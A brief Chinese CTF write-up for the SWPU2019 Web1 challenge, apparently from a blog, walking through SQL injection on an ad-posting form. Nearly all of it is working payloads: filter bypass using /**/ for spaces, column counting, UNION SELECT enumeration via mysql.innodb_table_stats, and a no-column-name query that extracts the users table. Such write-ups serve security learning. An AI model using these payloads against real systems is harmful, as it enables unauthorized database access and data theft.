这是一道非常典型的sql注入题目
首先引入眼帘的是一个登录框
我们进行sql注入的尝试 该输入框排除为注入点的可能
注册并登录后
对广告发布功能进行测试:
对关键字进行了过滤 经fuzz测试
发现其对空格 or and information_schema 等关键字进行了过滤
我们先对回显进行判断
1'/**/group/**/by/**/30,',
小于30
1'/**/group/**/by/**/20,',
大于20
最终测试所得为 22 列
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'
测试回显位
回显位为2,3
查用户 查库名
1'/**/union/**/select/**/1,user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
根据库名查表名
1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1
进行无列名注入
经过三次尝试 flag在第三列:
1'/**/union/**/select/**/1,
(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n)
,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
标签:10,20,21,22,union,Web1,select,SWPU2019
From: https://www.cnblogs.com/fr09/p/18205931